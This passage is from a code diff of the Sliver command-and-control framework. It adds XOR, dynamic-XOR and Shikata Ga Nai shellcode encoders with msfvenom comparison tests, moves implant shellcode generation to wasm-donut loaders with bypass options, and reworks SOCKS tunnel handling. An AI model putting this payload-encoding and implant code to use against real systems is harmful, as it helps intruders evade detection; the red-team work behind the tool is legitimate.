stub := encoded[:xorDynamicStubSize]
keyTerm, payloadTerm, err := extractXorDynamicTerms(stub)
if err != nil {
return nil, 0, nil, err
}
rest := encoded[xorDynamicStubSize:]
keyEnd := bytes.IndexByte(rest, keyTerm)
if keyEnd == -1 {
return nil, 0, nil, fmt.Errorf("xor_dynamic: key terminator not found in payload")
}
key := rest[:keyEnd]
if len(key) == 0 {
return nil, 0, nil, fmt.Errorf("xor_dynamic: empty key in payload")
}
if len(rest) < keyEnd+1+2 {
return nil, 0, nil, fmt.Errorf("xor_dynamic: payload missing terminator")
}
if len(rest) < 2 || !bytes.HasSuffix(rest, payloadTerm) {
return nil, 0, nil, fmt.Errorf("xor_dynamic: payload terminator mismatch")
}
return key, keyTerm, payloadTerm, nil
}
func extractXorDynamicTerms(stub []byte) (byte, []byte, error) {
movIdx := bytes.Index(stub, []byte{0xB0})
if movIdx == -1 || movIdx+1 >= len(stub) {
return 0, nil, fmt.Errorf("xor_dynamic: mov al not found in stub")
}
keyTerm := stub[movIdx+1]
cmpIdx := bytes.Index(stub, []byte{0x80, 0x3E})
if cmpIdx == -1 || cmpIdx+2 >= len(stub) {
return 0, nil, fmt.Errorf("xor_dynamic: cmp byte not found in stub")
}
if stub[cmpIdx+2] != keyTerm {
return 0, nil, fmt.Errorf("xor_dynamic: stub key terminator mismatch")
}
termIdx := bytes.Index(stub, []byte{0x66, 0x81, 0x3F})
if termIdx == -1 || termIdx+4 >= len(stub) {
return 0, nil, fmt.Errorf("xor_dynamic: cmp word not found in stub")
}
payloadTerm := []byte{stub[termIdx+3], stub[termIdx+4]}
return keyTerm, payloadTerm, nil
}
+172
View File
@@ -0,0 +1,172 @@
package amd64
import (
"bytes"
"embed"
"fmt"
"io/fs"
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
"github.com/moloch--/go-keystone"
)
//go:embed testdata/*.bin
var xorFixtures embed.FS
func TestXorEncoderMatchesMSFVenom(t *testing.T) {
if _, err := exec.LookPath("msfvenom"); err != nil {
t.Skipf("msfvenom not available: %v", err)
}
if !keystoneAvailable() {
t.Skip("keystone assembler not available")
}
fixtures, err := fs.Glob(xorFixtures, "testdata/*.bin")
if err != nil {
t.Fatalf("failed to list fixtures: %v", err)
}
if len(fixtures) == 0 {
t.Fatal("no xor fixtures found")
}
home := t.TempDir()
primeMSFVenom(t, home)
for _, name := range fixtures {
name := name
t.Run(filepath.Base(name), func(t *testing.T) {
payload, err := xorFixtures.ReadFile(name)
if err != nil {
t.Fatalf("failed to read fixture %s: %v", name, err)
}
if len(payload) == 0 {
t.Fatalf("fixture %s is empty", name)
}
platform, err := platformFromFixture(name)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
msfEncoded := msfvenomEncode(t, home, payload, platform, "x64/xor")
key, err := extractMSFKey(msfEncoded)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
encoded, err := Xor(payload, key)
if err != nil {
t.Fatalf("fixture %s: Xor failed: %v", name, err)
}
if !bytes.Equal(encoded, msfEncoded) {
diff := firstDiff(encoded, msfEncoded)
t.Fatalf("fixture %s: output mismatch at byte %d (got=%d, msf=%d)", name, diff, len(encoded), len(msfEncoded))
}
})
}
}
func keystoneAvailable() bool {
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
if err != nil {
return false
}
_ = engine.Close()
return true
}
func msfvenomEncode(t *testing.T, home string, payload []byte, platform string, encoder string) []byte {
t.Helper()
outFile, err := os.CreateTemp(home, "msf-xor-*.bin")
if err != nil {
t.Fatalf("msfvenom temp file: %v", err)
}
outPath := outFile.Name()
_ = outFile.Close()
defer func() { _ = os.Remove(outPath) }()
cmd := exec.Command("msfvenom",
"-p", "-",
"-a", "x64",
"--platform", platform,
"-e", encoder,
"-i", "1",
"-f", "raw",
"-o", outPath,
)
cmd.Env = append(os.Environ(), "HOME="+home)
cmd.Stdin = bytes.NewReader(payload)
var stderr bytes.Buffer
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
t.Fatalf("msfvenom failed: %v (stderr=%s)", err, strings.TrimSpace(stderr.String()))
}
encoded, err := os.ReadFile(outPath)
if err != nil {
t.Fatalf("msfvenom read output: %v", err)
}
if len(encoded) == 0 {
t.Fatalf("msfvenom produced empty output (stderr=%s)", strings.TrimSpace(stderr.String()))
}
return encoded
}
func primeMSFVenom(t *testing.T, home string) {
t.Helper()
cmd := exec.Command("msfvenom", "-l", "encoders")
cmd.Env = append(os.Environ(), "HOME="+home)
cmd.Stdin = bytes.NewReader(nil)
var stderr bytes.Buffer
var stdout bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
t.Fatalf("msfvenom init failed: %v (stderr=%s)", err, strings.TrimSpace(stderr.String()))
}
}
func extractMSFKey(encoded []byte) ([]byte, error) {
keyOffset := bytes.Index(encoded, []byte{0x48, 0xBB})
if keyOffset == -1 || keyOffset+10 > len(encoded) {
return nil, fmt.Errorf("failed to locate xor key in msf output")
}
key := make([]byte, xorKeySize)
copy(key, encoded[keyOffset+2:keyOffset+10])
return key, nil
}
func platformFromFixture(name string) (string, error) {
base := filepath.Base(name)
switch {
case strings.HasPrefix(base, "linux-"):
return "linux", nil
case strings.HasPrefix(base, "windows-"):
return "windows", nil
default:
return "", fmt.Errorf("unknown platform for fixture %s", base)
}
}
func firstDiff(a, b []byte) int {
min := len(a)
if len(b) < min {
min = len(b)
}
for i := 0; i < min; i++ {
if a[i] != b[i] {
return i
}
}
return min
}
@@ -1,4 +1,4 @@
# server/sgn
# server/encoders/shellcode/sgn
## Overview
@@ -27,7 +27,7 @@ These options mirror the upstream CLI flags so server-side tasks can reuse the s
Shellcode fixtures used by the unit tests live under `testdata/` with a `.bin` extension. They are produced via `msfvenom` using a dedicated Go generator:
```bash
go generate ./server/sgn
go generate ./server/encoders/shellcode/sgn
```
The generator invokes `msfvenom` three times (reverse TCP/HTTP stagers and an exec payload) and writes raw shellcode into the `testdata` directory. Ensure the Metasploit framework is installed and `msfvenom` is on `$PATH` before running the generation step.
@@ -40,7 +40,7 @@ The log subsystem expects a writable Sliver root directory. Point it to a tempor
export SLIVER_ROOT_DIR=$(pwd)/.tmp-sliver
export GOCACHE=$(pwd)/.tmp-gocache
mkdir -p "$SLIVER_ROOT_DIR" "$GOCACHE"
go test ./server/sgn
go test ./server/encoders/shellcode/sgn
```
The test suite focuses on option wiring and constraint helpers rather than the full stochastic encoding pipeline.
File renamed without changes.
File renamed without changes.
@@ -37,8 +37,6 @@ var (
// SGNConfig - Configuration for sgn
type SGNConfig struct {
AppDir string
Architecture string // Binary architecture (32/64) (default 32)
Asci bool // Generates a full ASCI printable payload (takes very long time to bruteforce)
BadChars []byte // Don't use specified bad characters given in hex format (\x00\x01\x02...)
File renamed without changes.
+99
View File
@@ -0,0 +1,99 @@
package shellcode
import (
"github.com/bishopfox/sliver/server/encoders/shellcode/amd64"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
type ShellcodeEncoderArgs struct {
Iterations int
BadChars []byte
}
type ShellcodeEncoder interface {
Description() string
Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error)
}
type XorEncoder struct{}
func (e *XorEncoder) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := amd64.XorKeyGen()
if err != nil {
return nil, err
}
encoded, err := amd64.Xor(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorEncoder) Description() string {
return "Basic XOR encoder for AMD64"
}
type XorDynamicEncoder struct{}
func (e *XorDynamicEncoder) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := amd64.XorDynamicKeyGen()
if err != nil {
return nil, err
}
encoded, err := amd64.XorDynamic(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorDynamicEncoder) Description() string {
return "An x64 XOR encoder with dynamic key size for AMD64"
}
type ShikataGaNaiEncoderAmd64 struct{}
func (e *ShikataGaNaiEncoderAmd64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
return sgn.EncodeShellcode(data, "amd64", args.Iterations, args.BadChars)
}
func (e *ShikataGaNaiEncoderAmd64) Description() string {
return "Shikata Ga Nai encoder for AMD64"
}
type ShikataGaNaiEncoder386 struct{}
func (e *ShikataGaNaiEncoder386) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
return sgn.EncodeShellcode(data, "386", args.Iterations, args.BadChars)
}
func (e *ShikataGaNaiEncoder386) Description() string {
return "Shikata Ga Nai encoder for 386"
}
var (
ShellcodeEncoders = map[string]map[string]ShellcodeEncoder{
"amd64": {
"xor": &XorEncoder{},
"xor_dynamic": &XorDynamicEncoder{},
"shikata_ga_nai": &ShikataGaNaiEncoderAmd64{},
},
"386": {
"shikata_ga_nai": &ShikataGaNaiEncoder386{},
},
}
)
+1 -1
View File
@@ -9,7 +9,7 @@ Server-side code generation and scaffolding utilities. Automates creation of boi
- `binaries.go` – Generates binary artifacts and handles output formatting.
- `binaries_test.go` *(tests)* – Tests binary generation workflows.
- `canaries.go` – Generates DNS canary assets and configuration.
- `donut.go` – Integrates with Donut to build .NET loaders.
- `donut.go` – Integrates with wasm-donut to build .NET loaders.
- `external.go` – Coordinates external builder invocations.
- `implants.go` – Generates implant binaries from configs.
- `profiles.go` – Creates implant profiles and configuration templates.
+1 -1
View File
@@ -183,7 +183,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
if err != nil {
return "", err
}
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "")
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.DonutConfig)
if err != nil {
return "", err
}
+1 -1
View File
@@ -28,7 +28,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/sgn"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
var (
+117 -100
View File
@@ -1,142 +1,159 @@
package generate
import (
"bytes"
"context"
"os"
"path/filepath"
"strings"
"github.com/Binject/go-donut/donut"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/protobuf/clientpb"
wasmdonut "github.com/sliverarmory/wasm-donut"
)
const (
defaultDonutEntropy = wasmdonut.DonutEntropyNone
defaultDonutCompress = wasmdonut.DonutCompressNone
defaultDonutExitOpt = wasmdonut.DonutExitThread
defaultDonutBypass = wasmdonut.DonutBypassContinue
defaultDonutHeaders = wasmdonut.DonutHeadersOverwrite
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string) (data []byte, err error) {
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
pe, err := os.ReadFile(filePath)
if err != nil {
return
}
isDLL := (filepath.Ext(filePath) == ".dll")
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true)
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, donutConfig)
}
// DonutShellcodeFromPE returns a Donut shellcode for the given PE file
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool) (data []byte, err error) {
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
ext := ".exe"
if isDLL {
ext = ".dll"
}
var isUnicodeVar uint32
if isUnicode {
isUnicodeVar = 1
}
thread := uint32(0)
if createNewThread {
thread = 1
}
serverConf := configs.GetServerConfig()
_ = dotnet
donutOpts := normalizeDonutConfig(donutConfig, createNewThread, isUnicode)
donutArch := getDonutArch(arch)
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
// in the task runner, and we're doing some housekeeping on it.
// Having DonutConfig.Thread = 1 means another thread will be created
// inside the one we created, and that will fuck up our monitoring
// since we can't grab a handle to the thread created by the Donut loader,
// and thus the waitForCompletion call will most of the time never complete.
config := donut.DonutConfig{
Type: getDonutType(ext, false),
InstType: donut.DONUT_INSTANCE_PIC,
Parameters: params,
Class: className,
Method: method,
Bypass: serverConf.DonutBypass, // 1=skip, 2=abort on fail, 3=continue on fail.
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
Arch: donutArch,
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
ExitOpt: 1, // exit thread
Unicode: isUnicodeVar,
Thread: thread,
opts := wasmdonut.GenerateOptions{
Ext: ext,
Args: params,
Class: className,
Method: method,
Arch: donutArch,
Bypass: donutOpts.bypass,
Headers: donutOpts.headers,
Entropy: donutOpts.entropy,
Compress: donutOpts.compress,
ExitOpt: donutOpts.exitOpt,
Thread: donutOpts.thread,
Unicode: donutOpts.unicode,
OEP: donutOpts.oep,
}
return getDonut(pe, &config)
result, err := wasmdonut.Generate(context.Background(), pe, ext, opts)
if err != nil {
return nil, err
}
return addStackCheck(result.Loader), nil
}
type donutOptions struct {
entropy int
compress int
exitOpt int
bypass int
headers int
thread bool
unicode bool
oep uint32
}
func normalizeDonutConfig(config *clientpb.DonutConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
opts := donutOptions{
entropy: defaultDonutEntropy,
compress: defaultDonutCompress,
exitOpt: defaultDonutExitOpt,
bypass: defaultDonutBypass,
headers: defaultDonutHeaders,
thread: fallbackThread,
unicode: fallbackUnicode,
}
if config == nil {
return opts
}
if config.Entropy >= 1 && config.Entropy <= 3 {
opts.entropy = int(config.Entropy)
}
if config.Compress >= 1 && config.Compress <= 2 {
opts.compress = int(config.Compress)
}
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
opts.exitOpt = int(config.ExitOpt)
}
if config.Bypass >= 1 && config.Bypass <= 3 {
opts.bypass = int(config.Bypass)
}
if config.Headers >= 1 && config.Headers <= 2 {
opts.headers = int(config.Headers)
}
opts.thread = config.Thread
opts.unicode = config.Unicode
if config.OEP > 0 {
opts.oep = config.OEP
}
return opts
}
// DonutFromAssembly - Generate a donut shellcode from a .NET assembly
func DonutFromAssembly(assembly []byte, isDLL bool, arch string, params string, method string, className string, appDomain string) ([]byte, error) {
func DonutFromAssembly(assembly []byte, isDLL bool, arch string, params string, method string, className string, appDomain string, runtime string) ([]byte, error) {
ext := ".exe"
if isDLL {
ext = ".dll"
}
donutArch := getDonutArch(arch)
config := donut.DefaultConfig()
config.Bypass = 3
config.Runtime = "v4.0.30319" // we might want to make this configurable
config.Format = 1
config.Arch = donutArch
config.Class = className
config.Parameters = params
config.Domain = appDomain
config.Method = method
config.Entropy = 3
config.Unicode = 0
config.Type = getDonutType(ext, true)
return getDonut(assembly, config)
opts := wasmdonut.GenerateOptions{
Ext: ext,
Args: params,
Class: className,
Method: method,
Domain: appDomain,
Runtime: runtime,
Arch: donutArch,
Entropy: wasmdonut.DonutEntropyDefault,
Compress: defaultDonutCompress,
ExitOpt: defaultDonutExitOpt,
}
result, err := wasmdonut.Generate(context.Background(), assembly, ext, opts)
if err != nil {
return nil, err
}
return addStackCheck(result.Loader), nil
}
func getDonut(data []byte, config *donut.DonutConfig) (shellcode []byte, err error) {
buf := bytes.NewBuffer(data)
res, err := donut.ShellcodeFromBytes(buf, config)
if err != nil {
return
func getDonutArch(arch string) int {
donutArch := wasmdonut.DonutArchX84
switch strings.ToLower(arch) {
case "x32", "386":
donutArch = wasmdonut.DonutArchX86
case "x64", "amd64":
donutArch = wasmdonut.DonutArchX64
case "x84":
donutArch = wasmdonut.DonutArchX84
}
shellcode = res.Bytes()
return donutArch
}
func addStackCheck(shellcode []byte) []byte {
stackCheckPrologue := []byte{
// Check stack is 8 byte but not 16 byte aligned or else errors in LoadLibrary
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
}
shellcode = append(stackCheckPrologue, shellcode...)
return
}
func getDonutArch(arch string) donut.DonutArch {
var donutArch donut.DonutArch
switch strings.ToLower(arch) {
case "x32", "386":
donutArch = donut.X32
case "x64", "amd64":
donutArch = donut.X64
case "x84":
donutArch = donut.X84
default:
donutArch = donut.X84
}
return donutArch
}
func getDonutType(ext string, dotnet bool) donut.ModuleType {
var donutType donut.ModuleType
switch strings.ToLower(filepath.Ext(ext)) {
case ".exe", ".bin":
if dotnet {
donutType = donut.DONUT_MODULE_NET_EXE
} else {
donutType = donut.DONUT_MODULE_EXE
}
case ".dll":
if dotnet {
donutType = donut.DONUT_MODULE_NET_DLL
} else {
donutType = donut.DONUT_MODULE_DLL
}
case ".xsl":
donutType = donut.DONUT_MODULE_XSL
case ".js":
donutType = donut.DONUT_MODULE_JS
case ".vbs":
donutType = donut.DONUT_MODULE_VBS
}
return donutType
return append(stackCheckPrologue, shellcode...)
}
+128 -18
View File
@@ -21,33 +21,84 @@ package rpc
import (
"context"
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/sgn"
"github.com/bishopfox/sliver/server/encoders/shellcode"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
var shellcodeEncoderNames = map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}
var shellcodeEncoderEnums = map[string]clientpb.ShellcodeEncoder{
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
"xor": clientpb.ShellcodeEncoder_XOR,
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
}
// ShellcodeEncode - Encode a piece shellcode
func (rpc *Server) ShellcodeEncoder(ctx context.Context, req *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) {
resp := &clientpb.ShellcodeEncode{Response: &commonpb.Response{}}
var err error
switch req.Encoder {
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
rpcLog.Infof("[rpc] Shellcode encoder request for: SHIKATA_GA_NAI")
rpcLog.Infof("[rpc] Encoding shellcode (%d bytes) for architecture %s with %d iterations and badchars: %v", len(req.Data), req.Architecture, req.Iterations, req.BadChars)
resp.Data, err = sgn.EncodeShellcode(req.Data, req.Architecture, int(req.Iterations), req.BadChars)
if err != nil {
rpcLog.Errorf("[rpc] Failed to encode shellcode: %v", err)
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
}
default:
resp.Response.Err = "Unknown encoder"
if req == nil {
return nil, status.Error(codes.InvalidArgument, "missing request")
}
if req.Encoder == clientpb.ShellcodeEncoder_NONE {
resp.Data = req.Data
return resp, nil
}
encoderName, ok := shellcodeEncoderNames[req.Encoder]
if !ok {
resp.Response.Err = "Unknown encoder"
return resp, nil
}
arch := normalizeShellcodeArch(req.Architecture)
if arch == "" {
arch = defaultShellcodeArch(encoderName)
}
if arch == "" {
resp.Response.Err = "Unknown architecture"
return resp, nil
}
encoderArchs := shellcode.ShellcodeEncoders[arch]
if encoderArchs == nil {
resp.Response.Err = fmt.Sprintf("Unknown architecture: %s", arch)
return resp, nil
}
encoder := encoderArchs[encoderName]
if encoder == nil {
resp.Response.Err = fmt.Sprintf("Encoder %s not supported for architecture %s", encoderName, arch)
return resp, nil
}
iterations := int(req.Iterations)
if iterations <= 0 {
iterations = 1
}
rpcLog.Infof("[rpc] Shellcode encoder request for: %s (%s)", encoderName, arch)
rpcLog.Infof("[rpc] Encoding shellcode (%d bytes) for architecture %s with %d iterations and badchars: %v", len(req.Data), arch, iterations, req.BadChars)
encoded, err := encoder.Encode(req.Data, shellcode.ShellcodeEncoderArgs{
Iterations: iterations,
BadChars: req.BadChars,
})
if err != nil {
rpcLog.Errorf("[rpc] Failed to encode shellcode: %v", err)
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
}
resp.Data = encoded
rpcLog.Infof("[rpc] Successfully encoded shellcode (%d bytes)", len(resp.Data))
return resp, nil
@@ -56,10 +107,69 @@ func (rpc *Server) ShellcodeEncoder(ctx context.Context, req *clientpb.Shellcode
// ShellcodeEncoderMap - Get a map of support shellcode encoders <human readable/enum>
func (rpc *Server) ShellcodeEncoderMap(ctx context.Context, _ *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) {
resp := &clientpb.ShellcodeEncoderMap{
Encoders: map[string]clientpb.ShellcodeEncoder{
// Human Readable: enum value
"shikata-ga-nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
},
Encoders: map[string]*clientpb.ShellcodeEncoderArchMap{},
}
arches := make([]string, 0, len(shellcode.ShellcodeEncoders))
for arch := range shellcode.ShellcodeEncoders {
arches = append(arches, arch)
}
sort.Strings(arches)
for _, arch := range arches {
encoderMap := shellcode.ShellcodeEncoders[arch]
if encoderMap == nil {
continue
}
resp.Encoders[arch] = &clientpb.ShellcodeEncoderArchMap{
Encoders: map[string]clientpb.ShellcodeEncoder{},
Descriptions: map[string]string{},
}
names := make([]string, 0, len(encoderMap))
for name := range encoderMap {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
if enumVal, ok := shellcodeEncoderEnums[name]; ok {
resp.Encoders[arch].Encoders[name] = enumVal
}
resp.Encoders[arch].Descriptions[name] = encoderMap[name].Description()
}
}
return resp, nil
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
default:
return normalized
}
}
func defaultShellcodeArch(encoderName string) string {
var candidates []string
for arch, encoderMap := range shellcode.ShellcodeEncoders {
if _, ok := encoderMap[encoderName]; ok {
candidates = append(candidates, arch)
}
}
if len(candidates) == 1 {
return candidates[0]
}
for _, arch := range candidates {
if arch == "amd64" {
return arch
}
}
if len(candidates) > 0 {
sort.Strings(candidates)
return candidates[0]
}
return ""
}
+322 -50
View File
@@ -20,8 +20,11 @@ package rpc
import (
"context"
"fmt"
"io"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -32,15 +35,16 @@ import (
var (
// SessionID->Tunnels[TunnelID]->Tunnel->Cache map[uint64]*sliverpb.SocksData{}
toImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
toImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}, lastActivity: map[uint64]time.Time{}}
// SessionID->Tunnels[TunnelID]->Tunnel->Cache
fromImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}}
fromImplantCacheSocks = socksDataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.SocksData{}, lastActivity: map[uint64]time.Time{}}
)
type socksDataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.SocksData
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.SocksData
lastActivity map[uint64]time.Time
}
func (c *socksDataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.SocksData) {
@@ -72,6 +76,7 @@ func (c *socksDataCache) DeleteTun(tunnelID uint64) {
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
delete(c.lastActivity, tunnelID)
}
func (c *socksDataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
@@ -85,69 +90,299 @@ func (c *socksDataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
delete(c.cache[tunnelID], sequence)
}
func (c *socksDataCache) recordActivity(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.lastActivity[tunnelID] = time.Now()
}
// Socks - Open an in-band port forward
const (
writeTimeout = 5 * time.Second
batchSize = 100 // Maximum number of sequences to batch
inactivityCheckInterval = 4 * time.Second
inactivityTimeout = 15 * time.Second
ToImplantTickerInterval = 10 * time.Millisecond // data going towards implant is usually smaller request data
ToClientTickerInterval = 5 * time.Millisecond // data coming back from implant is usually larger response data
)
func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
errChan := make(chan error, 2)
defer close(errChan)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
connDone := make(chan struct{})
defer close(connDone)
// Track all goroutines spawned for this session
var wg sync.WaitGroup
defer wg.Wait()
// Track all tunnels created for this session
activeTunnels := make(map[uint64]bool)
var tunnelMutex sync.Mutex
// Cleanup all tunnels on SocksProxy closure
defer func() {
tunnelMutex.Lock()
for tunnelID := range activeTunnels {
if tunnel := core.SocksTunnels.Get(tunnelID); tunnel != nil {
rpcLog.Infof("Cleaning up tunnel %d on proxy closure", tunnelID)
close(tunnel.FromImplant)
tunnel.Client = nil
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: tunnelID})
}
}
tunnelMutex.Unlock()
}()
for {
select {
case err := <-errChan:
rpcLog.Errorf("SocksProxy error: %v", err)
return err
default:
}
fromClient, err := stream.Recv()
if err == io.EOF {
break
return nil
}
//fmt.Println("Send Agent 1 ",fromClient.TunnelID,len(fromClient.Data))
if err != nil {
rpcLog.Warnf("Error on stream recv %s", err)
return rpcError(err)
}
tunnelLog.Debugf("Tunnel %d: From client %d byte(s)",
fromClient.TunnelID, len(fromClient.Data))
socks := core.SocksTunnels.Get(fromClient.TunnelID)
if socks == nil {
return nil
tunnelMutex.Lock()
activeTunnels[fromClient.TunnelID] = true // Mark this as an active tunnel
tunnelMutex.Unlock()
tunnel := core.SocksTunnels.Get(fromClient.TunnelID)
if tunnel == nil {
continue
}
if socks.Client == nil {
socks.Client = stream // Bind client to tunnel
// Send Client
go func() {
for tunnelData := range socks.FromImplant {
fromImplantCacheSocks.Add(fromClient.TunnelID, tunnelData.Sequence, tunnelData)
if tunnel.Client == nil {
tunnel.Client = stream
tunnel.FromImplant = make(chan *sliverpb.SocksData, 100) // Buffered channel for 100 messages
for recv, ok := fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence); ok; recv, ok = fromImplantCacheSocks.Get(fromClient.TunnelID, socks.FromImplantSequence) {
rpcLog.Debugf("[socks] agent to (Server To Client) Data Sequence %d , Data Size %d ,Data %v\n", socks.FromImplantSequence, len(recv.Data), recv.Data)
socks.Client.Send(&sliverpb.SocksData{
CloseConn: recv.CloseConn,
TunnelID: recv.TunnelID,
Data: recv.Data,
})
fromImplantCacheSocks.DeleteSeq(fromClient.TunnelID, socks.FromImplantSequence)
socks.FromImplantSequence++
// Monitor tunnel goroutines for inactivity and cleanup
wg.Add(1)
go func(tunnelID uint64) {
defer wg.Done()
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from panic in monitor: %v", r)
errChan <- fmt.Errorf("monitor goroutine panic: %v", r)
cancel() // Cancel context in case of a panic
}
}()
ticker := time.NewTicker(inactivityCheckInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-connDone:
return
case <-ticker.C:
tunnel := core.SocksTunnels.Get(tunnelID)
if tunnel == nil || tunnel.Client == nil {
return
}
session := core.Sessions.Get(tunnel.SessionID)
// Check both caches for activity
toImplantCacheSocks.mutex.RLock()
fromImplantCacheSocks.mutex.RLock()
toLastActivity := toImplantCacheSocks.lastActivity[tunnelID]
fromLastActivity := fromImplantCacheSocks.lastActivity[tunnelID]
toImplantCacheSocks.mutex.RUnlock()
fromImplantCacheSocks.mutex.RUnlock()
// Clean up goroutine if both directions have hit the idle threshold
if time.Since(toLastActivity) > inactivityTimeout && time.Since(fromLastActivity) > inactivityTimeout {
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: tunnelID})
return
}
// Clean up goroutine if the client has disconnected early
if tunnel.Client == nil || session == nil {
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: tunnelID})
return
}
}
}
}(fromClient.TunnelID)
// Send Client
wg.Add(1)
go func() {
defer wg.Done()
defer func() {
if r := recover(); r != nil {
rpcLog.Errorf("Recovered from panic in client sender: %v", r)
errChan <- fmt.Errorf("client sender panic: %v", r)
cancel() // Cancel context in case of a panic
}
}()
pendingData := make(map[uint64]*sliverpb.SocksData)
ticker := time.NewTicker(ToClientTickerInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-connDone:
return
case tunnelData, ok := <-tunnel.FromImplant:
if !ok {
return
}
// Check if implant is requesting to close the tunnel
if tunnelData.CloseConn {
// Clean up the tunnel
s.CloseSocks(context.Background(), &sliverpb.Socks{TunnelID: fromClient.TunnelID})
return
}
sequence := tunnelData.Sequence
fromImplantCacheSocks.Add(fromClient.TunnelID, sequence, tunnelData)
pendingData[sequence] = tunnelData
fromImplantCacheSocks.recordActivity(fromClient.TunnelID)
case <-ticker.C:
if tunnel.Client == nil {
return
}
if len(pendingData) == 0 {
continue
}
expectedSequence := atomic.LoadUint64(&tunnel.FromImplantSequence)
processed := 0
// Perform Batching
for i := 0; i < batchSize && processed < len(pendingData); i++ {
data, exists := pendingData[expectedSequence]
if !exists {
